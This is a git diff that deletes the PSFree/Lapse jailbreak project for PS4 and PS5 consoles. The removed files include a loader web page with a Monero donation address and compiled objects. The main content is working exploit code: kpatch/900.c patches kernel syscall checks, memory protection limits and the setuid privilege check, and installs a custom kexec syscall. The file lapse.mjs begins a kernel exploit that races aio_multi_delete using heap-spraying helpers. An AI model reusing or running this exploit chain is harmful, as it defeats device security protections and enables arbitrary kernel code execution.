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 T_w~A*y-@+KC(2mM#GU^GAWDHh diff --git a/psfree/fonts/README.txt b/psfree/fonts/README.txt deleted file mode 100644 index 067f156..0000000 --- a/psfree/fonts/README.txt +++ /dev/null @@ -1,3 +0,0 @@ -git: https://github.com/liberationfonts/liberation-fonts.git - -See FONTS.LICENSE for the license. diff --git a/psfree/index.html b/psfree/index.html deleted file mode 100644 index 3ca4a11..0000000 --- a/psfree/index.html +++ /dev/null @@ -1,48 +0,0 @@ - - - - - PSFree-Lapse Exploit For PS4 9.00 - - - - - PSFree: A PS4/PS5 Exploit Chain
- Donation (Monero/XMR):
- 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
- See
JavaScript license information for the - source code and license.
-


-    
-    
-    
-
diff --git a/psfree/kpatch/900.c b/psfree/kpatch/900.c
deleted file mode 100644
index 73e5589..0000000
--- a/psfree/kpatch/900.c
+++ /dev/null
@@ -1,183 +0,0 @@
-/* Copyright (C) 2024-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-// 9.00
-
-#include 
-
-#include "types.h"
-#include "utils.h"
-
-struct kexec_args {
-    u64 entry;
-    u64 arg1;
-    u64 arg2;
-    u64 arg3;
-    u64 arg4;
-    u64 arg5;
-};
-
-void do_patch(void);
-void restore(struct kexec_args *uap);
-
-__attribute__((section (".text.start")))
-int kpatch(void *td, struct kexec_args *uap) {
-    do_patch();
-    restore(uap);
-    return 0;
-}
-
-void restore(struct kexec_args *uap) {
-    u8 *pipe = uap->arg1;
-    u8 *pipebuf = uap->arg2;
-    for (size_t i = 0; i < 0x18; i++) {
-        pipe[i] = pipebuf[i];
-    }
-    u64 *pktinfo_field = uap->arg3;
-    *pktinfo_field = 0;
-    u64 *pktinfo_field2 = uap->arg4;
-    *pktinfo_field2 = 0;
-}
-
-void do_patch(void) {
-    // offset to fast_syscall()
-    const size_t off_fast_syscall = 0x1c0;
-    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
-
-    disable_cr0_wp();
-
-    // patch amd64_syscall() to allow calling syscalls everywhere
-
-    // struct syscall_args sa; // initialized already
-    // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
-    // int is_invalid_syscall = 0
-    //
-    // // check the calling code if it looks like one of the syscall stubs at a
-    // // libkernel library and check if the syscall number correponds to the
-    // // proper stub
-    // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
-    //     || sa.code != (u32)(code >> 0x10)
-    // ) {
-    //     // patch this to " = 0" instead
-    //     is_invalid_syscall = -1;
-    // }
-    write32(kbase, 0x490, 0);
-    // these code corresponds to the check that ensures that the caller's
-    // instruction pointer is inside the libkernel library's memory range
-    //
-    // // patch the check to always go to the "goto do_syscall;" line
-    // void *code = td->td_frame->tf_rip;
-    // if (libkernel->start <= code && code < libkernel->end
-    //     && is_invalid_syscall == 0
-    // ) {
-    //     goto do_syscall;
-    // }
-    //
-    // do_syscall:
-    //     ...
-    //     lea     rsi, [rbp - 0x78]
-    //     mov     rdi, rbx
-    //     mov     rax, qword [rbp - 0x80]
-    //     call    qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
-    //
-    // sy_call() is the function that will execute the requested syscall.
-    write16(kbase, 0x4b5, 0x9090);
-    write16(kbase, 0x4b9, 0x9090);
-    write8(kbase, 0x4c2, 0xeb);
-
-    // patch sys_mmap() to allow rwx mappings
-
-    // patch maximum cpu mem protection: 0x33 -> 0x37
-    // the ps4 added custom protections for their gpu memory accesses
-    // GPU X: 0x8 R: 0x10 W: 0x20
-    // that's why you see other bits set
-    // ref: https://cturt.github.io/ps4-2.html
-    write8(kbase, 0x16632a, 0x37);
-    write8(kbase, 0x16632d, 0x37);
-
-    // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
-    //
-    // this check is skipped after the patch
-    //
-    // if ((new_prot & current->max_protection) != new_prot) {
-    //     vm_map_unlock(map);
-    //     return (KERN_PROTECTION_FAILURE);
-    // }
-    write32(kbase, 0x80b8d, 0);
-
-    // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
-
-    // call    ...
-    // mov     r14, qword [rbp - 0xad0]
-    // cmp     eax, 0x4000000
-    // jb      ... ; patch jb to jmp
-    write8(kbase, 0x23b67f, 0xeb);
-    // patch called function to always return 0
-    //
-    // sys_dynlib_dlsym:
-    //     ...
-    //     mov     edi, 0x10 ; 16
-    //     call    patched_function ; kernel_base + 0x951c0
-    //     test    eax, eax
-    //     je      ...
-    //     mov     rax, qword [rbp - 0xad8]
-    //     ...
-    // patched_function: ; patch to "xor eax, eax; ret"
-    //     push    rbp
-    //     mov     rbp, rsp
-    //     ...
-    write32(kbase, 0x221b40, 0xc3c03148);
-
-    // patch sys_setuid() to allow freely changing the effective user ID
-
-    // ; PRIV_CRED_SETUID = 50
-    // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
-    // test eax, eax
-    // je ... ; patch je to jmp
-    write8(kbase, 0x1a06, 0xeb);
-
-    // overwrite the entry of syscall 11 (unimplemented) in sysent
-    //
-    // struct args {
-    //     u64 rdi;
-    //     u64 rsi;
-    //     u64 rdx;
-    //     u64 rcx;
-    //     u64 r8;
-    //     u64 r9;
-    // };
-    //
-    // int sys_kexec(struct thread td, struct args *uap) {
-    //     asm("jmp qword ptr [rsi]");
-    // }
-
-    // sysent[11]
-    const size_t offset_sysent_11 = 0x1100520;
-    // .sy_narg = 6
-    write32(kbase, offset_sysent_11, 6);
-    // .sy_call = gadgets['jmp qword ptr [rsi]']
-    write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
-    // .sy_thrcnt = SY_THR_STATIC
-    write32(kbase, offset_sysent_11 + 0x2c, 1);
-
-    //veriPatch
-    const size_t KERNEL_veriPatch = 0x626874;
-
-    write16(kbase, KERNEL_veriPatch, 0x9090);
-
-    enable_cr0_wp();
-}
diff --git a/psfree/kpatch/900.d b/psfree/kpatch/900.d
deleted file mode 100644
index 96d04e3..0000000
--- a/psfree/kpatch/900.d
+++ /dev/null
@@ -1 +0,0 @@
-900.o 900.d : 900.c types.h utils.h
diff --git a/psfree/kpatch/900.elf b/psfree/kpatch/900.elf
deleted file mode 100644
index db765a092439a265da0b31e343f118366591d261..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 5224
zcmeHLOKTHR6h4!rN$R5+OORkhVq3unhS-e_ibQDI3)WY}2Ph0_k`mNXnT}B1l(8FQ
z2t@D)xXe-niv<^Bf|+go1%fCPs$l8PMaOd{_mVMWQE(^sz})ZLbG~yQU+yMnIXg4u
zQxp*9g9{*LgBZ;4L}OSmC^i9p977OvxdW6^yLqZ3Bdqhq1Pb1@??y3z`G*IHiHJPn
z3mkK!00N0ib{*@29d}ow=UBVqOOjMTDj*e*3P=T{0#X5~fK)&#AQg}bNCo~!1-2tc
ze&1k~?Tt%#J68F!5kh=VH@(}U9IM_|Sxt|z$~voF4YL!UBdhB3sKQn(g{6Nz-eT41
z7_+GW&`ogHtzCNtU`58+$FGTs#Ri+K_9C<6IFW?KjycYb6B)5=v(Eq7&)McXbnA6=
z)?BA;HW4@5=E=fAINLT)6WC^LZ`j?fZ7#2l!lrFz;v>M$Sgp1hJcNAPObnw|aRTBepq%Bef%N2ctZTThU4O1NJcRBrSJQh;{&!r#VoTR3*MI6sFz<^$`x^
z_X96*o^vRc!Y}GL&RZUfAx`4gKpycSJEX4oZVl0ymAL=hYvlUTe}(yP=)XbyfJp1E
zBT`8}qjLvft8czvoPI{YE{*7?xKkWZAsEIR-$A5)i#YcvkJFhcF79}W#}VAPdncNt
zQ>kPDG;R9IO)bl`socfOS&dERptztt${U3;=%qztK`+6B&J>c1Pv(vMETW-zuq-^I
zv}8cCRMzJ7{CuhFY2~6$oBg}RaS77U+dHCrihk4{N_wnk3P&+VF(2osIH7u#_pk2p
zxPZr!10U;ba_t@S4AeE$XyQZJ5b#s2gj$>^-~?s{#4_w~km
V611P!Xq$fZ_j!HVOGdx9{tq@1zxV(E

diff --git a/psfree/kpatch/900.o b/psfree/kpatch/900.o
deleted file mode 100644
index 8e75a495ec5d219722e4b5e739bc20e80a5f156b..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1840
zcmbVM&1(};5TC96q#ub=q!`h)BDP{5NhxSWB~aTwq$ntD4<70!-5RM$%4Q>}2g}-v
zu@vIXqeqV-SnO?WF?-d&K=33KrKJ}U={mD{FWD}8>cGp){NDU#W@l%!GCnoYq$nUo
zft%3qBnt5USi??wW)ga!8}=h-{_?fiC|@`Fc=;<|yW7qOzeP5pFMAcfYAbwnx46gG
zCi}SKvCve7xlP>77XWr-n1BAEmTlg##n)dY4_r5*+Wdm+9=MTy+p#Lmwc-no^%2cV
z1&vM5s9Ia7cdFK<^hvl8|Puiv68WV;0b%XYPFuic*jy(qDm{q
zaBJ(=muBGQ*8_++))fBI^J4`wlfqKeNjKn3uoJK2`@FpWld|*jcTayJ=fO5ij*VSY
z2c}cSoLN*82{yvwLy4m2CY}!uv-rrMfH9t)D2k^A&*YtHXu>fNCdb^1Hi`1=9w?=#
z6688TQ|MOPZO^z+z27hX^Ak&GMgH
zljA;|?j)`X9Oq3lugi$ABrf~oK3u*V4`PMotf{4d6-=Y1Gtx5kk_l{HGc{nTLIIee
zKhYSW7_1q1m(FLidJc_T-qabs{~^3cFAD!ruE>^*{E}{%%Yv+D<`xVstJnKIsu4pX
zy+zu6za)k8+Yh20eBcmTmliv&NC&>*wlvBnLMsiyeqWpf5^`)M`OKJP#o`!)Tu``I#x8>hm
z%2N`2l^mbQ{w0({gF=J+H-i6A1_~YIKSn%ke!C(e7d)CDeVdXm=NDF+D1Su#cjTaS
l;R%~R $@.$$$$; \
-	sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
-	rm -f $@.$$$$;
-
-include $(src:.c=.d)
diff --git a/psfree/kpatch/script.ld b/psfree/kpatch/script.ld
deleted file mode 100644
index 879b98b..0000000
--- a/psfree/kpatch/script.ld
+++ /dev/null
@@ -1,8 +0,0 @@
-SECTIONS
-{
-  .text : { *(.text.start) *(.text) }
-  .rodata : { *(.rodata) }
-  .data : { *(.data) }
-  .bss : { *(.bss) }
-  /DISCARD/ : { *(.comment* .note*) }
-}
diff --git a/psfree/kpatch/types.h b/psfree/kpatch/types.h
deleted file mode 100644
index bcd075a..0000000
--- a/psfree/kpatch/types.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/* Copyright (C) 2024 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-#pragma once
-
-typedef unsigned char u8;
-typedef unsigned short u16;
-typedef unsigned int u32;
-typedef unsigned long long u64;
-
-typedef signed char s8;
-typedef signed short s16;
-typedef signed int s32;
-typedef signed long long s64;
diff --git a/psfree/kpatch/utils.h b/psfree/kpatch/utils.h
deleted file mode 100644
index 0c06168..0000000
--- a/psfree/kpatch/utils.h
+++ /dev/null
@@ -1,61 +0,0 @@
-/* Copyright (C) 2024 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-#pragma once
-
-#include 
-
-#include "types.h"
-
-inline u64 rdmsr(u32 msr) {
-    u32 low, high;
-
-    asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
-    return (low | ((u64)high << 32));
-}
-
-inline void enable_cr0_wp(void) {
-    asm(
-        "mov rax, cr0\n"
-        "or rax, 0x10000\n"
-        "mov cr0, rax\n"
-    ::: "rax");
-}
-
-inline void disable_cr0_wp(void) {
-    asm(
-        "mov rax, cr0\n"
-        "and rax, ~0x10000\n"
-        "mov cr0, rax\n"
-    ::: "rax");
-}
-
-inline void write8(void *addr, size_t offset, u8 value) {
-    *(u8 *)(addr + offset) = value;
-}
-
-inline void write16(void *addr, size_t offset, u16 value) {
-    *(u16 *)(addr + offset) = value;
-}
-
-inline void write32(void *addr, size_t offset, u32 value) {
-    *(u32 *)(addr + offset) = value;
-}
-
-inline void write64(void *addr, size_t offset, u64 value) {
-    *(u64 *)(addr + offset) = value;
-}
diff --git a/psfree/lapse.mjs b/psfree/lapse.mjs
deleted file mode 100644
index 1197518..0000000
--- a/psfree/lapse.mjs
+++ /dev/null
@@ -1,1844 +0,0 @@
-/* Copyright (C) 2025 anonymous
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It
-// takes advantage of a bug in aio_multi_delete(). Take a look at the comment
-// at the race_one() function here for a brief summary.
-
-// debug comment legend:
-// * PANIC - code will make the system vulnerable to a kernel panic or it will
-//   perform a operation that might panic
-// * RESTORE - code will repair kernel panic vulnerability
-// * MEMLEAK - memory leaks that our code will induce
-
-import { Int } from './module/int64.mjs';
-import { mem } from './module/mem.mjs';
-import { log, die, hex, hexdump } from './module/utils.mjs';
-import { cstr, jstr } from './module/memtools.mjs';
-import { page_size, context_size } from './module/offset.mjs';
-import { Chain } from './module/chain.mjs';
-
-import {
-    View1, View2, View4,
-    Word, Long, Pointer,
-    Buffer,
-} from './module/view.mjs';
-
-import * as rop from './module/chain.mjs';
-import * as config from './config.mjs';
-
-const t1 = performance.now();
-
-// check if we are running on a supported firmware version
-const [is_ps4, version] = (() => {
-    const value = config.target;
-    const is_ps4 = (value & 0x10000) === 0;
-    const version = value & 0xffff;
-    const [lower, upper] = (() => {
-        if (is_ps4) {
-            return [0x100, 0x1250];
-        } else {
-            return [0x100, 0x1020];
-        }
-    })();
-
-    if (!(lower <= version && version < upper)) {
-        throw RangeError(`invalid config.target: ${hex(value)}`);
-    }
-
-    return [is_ps4, version];
-})();
-
-// sys/socket.h
-const AF_UNIX = 1;
-const AF_INET = 2;
-const AF_INET6 = 28;
-const SOCK_STREAM = 1;
-const SOCK_DGRAM = 2;
-const SOL_SOCKET = 0xffff;
-const SO_REUSEADDR = 4;
-const SO_LINGER = 0x80;
-
-// netinet/in.h
-const IPPROTO_TCP = 6;
-const IPPROTO_UDP = 17;
-const IPPROTO_IPV6 = 41;
-
-// netinet/tcp.h
-const TCP_INFO = 0x20;
-const size_tcp_info = 0xec;
-
-// netinet/tcp_fsm.h
-const TCPS_ESTABLISHED = 4;
-
-// netinet6/in6.h
-const IPV6_2292PKTOPTIONS = 25;
-const IPV6_PKTINFO = 46;
-const IPV6_NEXTHOP = 48;
-const IPV6_RTHDR = 51;
-const IPV6_TCLASS = 61;
-
-// sys/cpuset.h
-const CPU_LEVEL_WHICH = 3;
-const CPU_WHICH_TID = 1;
-
-// sys/mman.h
-const MAP_SHARED = 1;
-const MAP_FIXED = 0x10;
-
-// sys/rtprio.h
-const RTP_SET = 1;
-const RTP_PRIO_REALTIME = 2;
-
-// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter
-// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue
-// group. queue 0 of each group is currently unused. queue 1 has the lowest
-// priority and queue 3 has the highest
-//
-// the SceFsstAIO workers will process entries at the main queues. they will
-// refill the main queues from the corresponding wait queues each time they
-// dequeue a request (e.g. fill the  low priority main queue from the low
-// priority wait queue)
-//
-// entries on the wait queue will always have a 0 ticket number. they will
-// get assigned a nonzero ticket number once they get put on the main queue
-const AIO_CMD_READ = 1;
-const AIO_CMD_WRITE = 2;
-const AIO_CMD_FLAG_MULTI = 0x1000;
-const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
-const AIO_STATE_COMPLETE = 3;
-const AIO_STATE_ABORTED = 4;
-const num_workers = 2;
-// max number of requests that can be created/polled/canceled/deleted/waited
-const max_aio_ids = 0x80;
-
-// highest priority we can achieve given our credentials
-const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100);
-
-// CONFIG CONSTANTS
-const main_core = 7;
-const num_grooms = 0x200;
-const num_handles = 0x100;
-const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
-const num_alias = 10;
-const num_races = 100;
-const leak_len = 16;
-const num_leaks = 5;
-const num_clobbers = 8;
-
-let chain = null;
-var nogc = [];
-
-async function init() {
-    await rop.init();
-    chain = new Chain();
-
-// PS4 9.00
-const pthread_offsets = new Map(Object.entries({
-    'pthread_create' : 0x25510,
-    'pthread_join' : 0xafa0,
-    'pthread_barrier_init' : 0x273d0,
-    'pthread_barrier_wait' : 0xa320,
-    'pthread_barrier_destroy' : 0xfea0,
-    'pthread_exit' : 0x77a0,
-}));
-
-    rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
-}
-
-function sys_void(...args) {
-    return chain.syscall_void(...args);
-}
-
-function sysi(...args) {
-    return chain.sysi(...args);
-}
-
-function call_nze(...args) {
-    const res = chain.call_int(...args);
-    if (res !== 0) {
-        die(`call(${args[0]}) returned nonzero: ${res}`);
-    }
-}
-
-// #define SCE_KERNEL_AIO_STATE_NOTIFIED       0x10000
-//
-// #define SCE_KERNEL_AIO_STATE_SUBMITTED      1
-// #define SCE_KERNEL_AIO_STATE_PROCESSING     2
-// #define SCE_KERNEL_AIO_STATE_COMPLETED      3
-// #define SCE_KERNEL_AIO_STATE_ABORTED        4
-//
-// typedef struct SceKernelAioResult {
-//     // errno / SCE error code / number of bytes processed
-//     int64_t returnValue;
-//     // SCE_KERNEL_AIO_STATE_*
-//     uint32_t state;
-// } SceKernelAioResult;
-//
-// typedef struct SceKernelAioRWRequest {
-//     off_t offset;
-//     size_t nbyte;
-//     void *buf;
-//     struct SceKernelAioResult *result;
-//     int fd;
-// } SceKernelAioRWRequest;
-//
-// typedef int SceKernelAioSubmitId;
-//
-// // SceAIO submit commands
-// #define SCE_KERNEL_AIO_CMD_READ     0x001
-// #define SCE_KERNEL_AIO_CMD_WRITE    0x002
-// #define SCE_KERNEL_AIO_CMD_MASK     0xfff
-// // SceAIO submit command flags
-// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
-//
-// #define SCE_KERNEL_AIO_PRIORITY_LOW     1
-// #define SCE_KERNEL_AIO_PRIORITY_MID     2
-// #define SCE_KERNEL_AIO_PRIORITY_HIGH    3
-//
-// int
-// aio_submit_cmd(
-//     u_int cmd,
-//     SceKernelAioRWRequest reqs[],
-//     u_int num_reqs,
-//     u_int prio,
-//     SceKernelAioSubmitId ids[]
-// );
-function aio_submit_cmd(cmd, requests, num_requests, handles) {
-    sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles);
-}
-
-// the various SceAIO syscalls that copies out errors/states will not check if
-// the address is NULL and will return EFAULT. this dummy buffer will serve as
-// the default argument so users don't need to specify one
-const _aio_errors = new View4(max_aio_ids);
-const _aio_errors_p = _aio_errors.addr;
-
-// int
-// aio_multi_delete(
-//     SceKernelAioSubmitId ids[],
-//     u_int num_ids,
-//     int sce_errors[]
-// );
-function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) {
-    sysi('aio_multi_delete', ids, num_ids, sce_errs);
-}
-
-// int
-// aio_multi_poll(
-//     SceKernelAioSubmitId ids[],
-//     u_int num_ids,
-//     int states[]
-// );
-function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) {
-    sysi('aio_multi_poll', ids, num_ids, sce_errs);
-}
-
-// int
-// aio_multi_cancel(
-//     SceKernelAioSubmitId ids[],
-//     u_int num_ids,
-//     int states[]
-// );
-function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) {
-    sysi('aio_multi_cancel', ids, num_ids, sce_errs);
-}
-
-// // wait for all (AND) or atleast one (OR) to finish
-// // DEFAULT is the same as AND
-// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00
-// #define SCE_KERNEL_AIO_WAIT_AND     0x01
-// #define SCE_KERNEL_AIO_WAIT_OR      0x02
-//
-// int
-// aio_multi_wait(
-//     SceKernelAioSubmitId ids[],
-//     u_int num_ids,
-//     int states[],
-//     // SCE_KERNEL_AIO_WAIT_*
-//     uint32_t mode,
-//     useconds_t *timeout
-// );
-function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) {
-    sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0);
-}
-
-function make_reqs1(num_reqs) {
-    const reqs1 = new Buffer(0x28 * num_reqs);
-    for (let i = 0; i < num_reqs; i++) {
-        // .fd = -1
-        reqs1.write32(0x20 + i*0x28, -1);
-    }
-    return reqs1;
-}
-
-function spray_aio(
-    loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ,
-) {
-    const step = 4 * (multi ? num_reqs : 1);
-    cmd |= multi ? AIO_CMD_FLAG_MULTI : 0;
-    for (let i = 0, idx = 0; i < loops; i++) {
-        aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx));
-        idx += step;
-    }
-}
-
-function poll_aio(ids, states, num_ids=ids.length) {
-    if (states !== undefined) {
-        states = states.addr;
-    }
-    aio_multi_poll(ids.addr, num_ids, states);
-}
-
-function cancel_aios(ids_p, num_ids) {
-    const len = max_aio_ids;
-    const rem = num_ids % len;
-    const num_batches = (num_ids - rem) / len;
-    for (let bi = 0; bi < num_batches; bi++) {
-        aio_multi_cancel(ids_p.add((bi << 2) * len), len);
-    }
-    if (rem) {
-        aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem);
-    }
-}
-
-function free_aios(ids_p, num_ids) {
-    const len = max_aio_ids;
-    const rem = num_ids % len;
-    const num_batches = (num_ids - rem) / len;
-    for (let bi = 0; bi < num_batches; bi++) {
-        const addr = ids_p.add((bi << 2) * len);
-        aio_multi_cancel(addr, len);
-        aio_multi_poll(addr, len);
-        aio_multi_delete(addr, len);
-    }
-    if (rem) {
-        const addr = ids_p.add((num_batches << 2) * len);
-        aio_multi_cancel(addr, len);
-        aio_multi_poll(addr, len);
-        aio_multi_delete(addr, len);
-    }
-}
-
-function free_aios2(ids_p, num_ids) {
-    const len = max_aio_ids;
-    const rem = num_ids % len;
-    const num_batches = (num_ids - rem) / len;
-    for (let bi = 0; bi < num_batches; bi++) {
-        const addr = ids_p.add((bi << 2) * len);
-        aio_multi_poll(addr, len);
-        aio_multi_delete(addr, len);
-    }
-    if (rem) {
-        const addr = ids_p.add((num_batches << 2) * len);
-        aio_multi_poll(addr, len);
-        aio_multi_delete(addr, len);
-    }
-}
-
-function get_our_affinity(mask) {
-    sysi(
-        'cpuset_getaffinity',
-        CPU_LEVEL_WHICH,
-        CPU_WHICH_TID,
-        -1,
-        8,
-        mask.addr,
-    );
-}
-
-function set_our_affinity(mask) {
-    sysi(
-        'cpuset_setaffinity',
-        CPU_LEVEL_WHICH,
-        CPU_WHICH_TID,
-        -1,
-        8,
-        mask.addr,
-    );
-}
-
-function close(fd) {
-    sysi('close', fd);
-}
-
-function new_socket() {
-    return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
-}
-
-function new_tcp_socket() {
-    return sysi('socket', AF_INET, SOCK_STREAM, 0);
-}
-
-function gsockopt(sd, level, optname, optval, optlen) {
-    const size = new Word(optval.size);
-    if (optlen !== undefined) {
-        size[0] = optlen;
-    }
-
-    sysi('getsockopt', sd, level, optname, optval.addr, size.addr);
-    return size[0];
-}
-
-function setsockopt(sd, level, optname, optval, optlen) {
-    sysi('setsockopt', sd, level, optname, optval, optlen);
-}
-
-function ssockopt(sd, level, optname, optval, optlen) {
-    if (optlen === undefined) {
-        optlen = optval.size;
-    }
-
-    const addr = optval.addr;
-    setsockopt(sd, level, optname, addr, optlen);
-}
-
-function get_rthdr(sd, buf, len) {
-    return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
-}
-
-function set_rthdr(sd, buf, len) {
-    ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
-}
-
-function free_rthdrs(sds) {
-    for (const sd of sds) {
-        setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
-    }
-}
-
-function build_rthdr(buf, size) {
